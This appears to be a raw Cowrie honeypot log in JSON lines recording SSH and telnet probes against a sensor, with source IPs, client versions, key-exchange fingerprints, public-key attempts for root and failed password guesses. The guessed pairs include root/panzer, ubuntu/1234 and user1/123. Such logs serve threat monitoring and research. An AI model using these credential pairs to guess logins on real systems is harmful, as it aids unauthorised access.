{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:00.748234Z","src_ip":"176.65.132.129","session":"2d72cef03cf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.21303367614746,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:01.399273Z","src_ip":"152.42.224.71","session":"5c0260669f74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56938,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce9d0f627a04","protocol":"ssh","message":"New connection: 176.65.132.129:56938 (159.203.135.109:22) [session: ce9d0f627a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:02.518720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:02.526252Z","src_ip":"176.65.132.129","session":"ce9d0f627a04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:02.728318Z","src_ip":"176.65.132.129","session":"ce9d0f627a04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gbase","password":"gbase","message":"login attempt [gbase/gbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:03.024777Z","src_ip":"176.65.132.129","session":"ce9d0f627a04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:04.111530Z","src_ip":"176.65.132.129","session":"ce9d0f627a04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40448,"dst_ip":"159.203.135.109","dst_port":22,"session":"723e929aede4","protocol":"ssh","message":"New connection: 176.65.132.129:40448 (159.203.135.109:22) [session: 723e929aede4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:05.965801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:05.973383Z","src_ip":"176.65.132.129","session":"723e929aede4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:06.068198Z","src_ip":"176.65.132.129","session":"723e929aede4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:06.326059Z","src_ip":"176.65.132.129","session":"723e929aede4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":60934,"dst_ip":"159.203.135.109","dst_port":22,"session":"48cfcfb9031f","protocol":"ssh","message":"New connection: 62.133.62.83:60934 (159.203.135.109:22) [session: 48cfcfb9031f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:07.014050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:07.020456Z","src_ip":"62.133.62.83","session":"48cfcfb9031f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:07.102310Z","src_ip":"62.133.62.83","session":"48cfcfb9031f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"panzer","message":"login attempt [root/panzer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:07.345724Z","src_ip":"62.133.62.83","session":"48cfcfb9031f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:07.414173Z","src_ip":"176.65.132.129","session":"723e929aede4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:08.432738Z","src_ip":"62.133.62.83","session":"48cfcfb9031f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40462,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ac95e586d0d","protocol":"ssh","message":"New connection: 176.65.132.129:40462 (159.203.135.109:22) [session: 9ac95e586d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:09.126231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:09.136459Z","src_ip":"176.65.132.129","session":"9ac95e586d0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:09.224324Z","src_ip":"176.65.132.129","session":"9ac95e586d0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:09.474402Z","src_ip":"176.65.132.129","session":"9ac95e586d0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34674,"dst_ip":"10.17.0.5","dst_port":23,"session":"bed3a112995f","protocol":"telnet","message":"New connection: 152.42.224.71:34674 (10.17.0.5:23) [session: bed3a112995f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:10.195543Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:10.568419Z","src_ip":"176.65.132.129","session":"9ac95e586d0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.377564191818237,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:11.597628Z","src_ip":"152.42.224.71","session":"35ac7287eace","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":50130,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad6c5fea7528","protocol":"ssh","message":"New connection: 147.45.199.80:50130 (10.17.0.5:22) [session: ad6c5fea7528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:11.883133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:11.891617Z","src_ip":"147.45.199.80","session":"ad6c5fea7528","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:11.989348Z","src_ip":"147.45.199.80","session":"ad6c5fea7528","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.75.149.221","src_port":57398,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4d129712792","protocol":"ssh","message":"New connection: 51.75.149.221:57398 (10.17.0.5:22) [session: c4d129712792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:12.005722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:12.016953Z","src_ip":"51.75.149.221","session":"c4d129712792","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:12.128681Z","src_ip":"51.75.149.221","session":"c4d129712792","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kokoko","message":"login attempt [root/kokoko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:12.296080Z","src_ip":"147.45.199.80","session":"ad6c5fea7528","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40474,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8603e1d77ba","protocol":"ssh","message":"New connection: 176.65.132.129:40474 (159.203.135.109:22) [session: e8603e1d77ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:12.339890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:12.347371Z","src_ip":"176.65.132.129","session":"e8603e1d77ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:12.429583Z","src_ip":"176.65.132.129","session":"e8603e1d77ba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:35:35:d6:5b:53:73:e0:d4:9b:b3:b1:7b:5c:d4:25","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHIzgxixLs/2YS/r45dkdSvhvIidXA8Guc3TL6//BW7H","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 8d:35:35:d6:5b:53:73:e0:d4:9b:b3:b1:7b:5c:d4:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:12.592552Z","src_ip":"51.75.149.221","session":"c4d129712792","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:35:35:d6:5b:53:73:e0:d4:9b:b3:b1:7b:5c:d4:25","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHIzgxixLs/2YS/r45dkdSvhvIidXA8Guc3TL6//BW7H","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:12.598174Z","src_ip":"51.75.149.221","session":"c4d129712792","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu-server","password":"123456","message":"login attempt [ubuntu-server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:12.691629Z","src_ip":"176.65.132.129","session":"e8603e1d77ba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:d4:66:e9:dd:6d:71:01:49:b4:41:22:69:0f:e7:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5TTOkavDY39MtVaDk4OOvBZRI6A485LK4VZylquzEwpBbbYf7+AepHAa0zvlzv5s47p5UZedEwtIGw5uw6pEvknwczy1RkeXumAr9P48IcWLdSCOaXDx/QlmxuoEulFxue6M7X55tpe7dYk3Rk5H7expPDcv6u6TGHPj39xua5hERcvdtjZPTqreI5FXPV5d+uMYb8xjPwueS2ByzsXM7jguIOFiaf3gknm1rsUNWiLALADjnnaDwcI5B1IvnlktVmH9zWrQ+NM0plxfSOpQfGtpqYTQUhF6UVPqP1nA0CdMMGBxMqm/6J0ChJS5K/LopJHxQtfRbkv0rX4i/73UT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:d4:66:e9:dd:6d:71:01:49:b4:41:22:69:0f:e7:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:12.698589Z","src_ip":"51.75.149.221","session":"c4d129712792","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:d4:66:e9:dd:6d:71:01:49:b4:41:22:69:0f:e7:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5TTOkavDY39MtVaDk4OOvBZRI6A485LK4VZylquzEwpBbbYf7+AepHAa0zvlzv5s47p5UZedEwtIGw5uw6pEvknwczy1RkeXumAr9P48IcWLdSCOaXDx/QlmxuoEulFxue6M7X55tpe7dYk3Rk5H7expPDcv6u6TGHPj39xua5hERcvdtjZPTqreI5FXPV5d+uMYb8xjPwueS2ByzsXM7jguIOFiaf3gknm1rsUNWiLALADjnnaDwcI5B1IvnlktVmH9zWrQ+NM0plxfSOpQfGtpqYTQUhF6UVPqP1nA0CdMMGBxMqm/6J0ChJS5K/LopJHxQtfRbkv0rX4i/73UT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:12.704631Z","src_ip":"51.75.149.221","session":"c4d129712792","protocol":"ssh"}
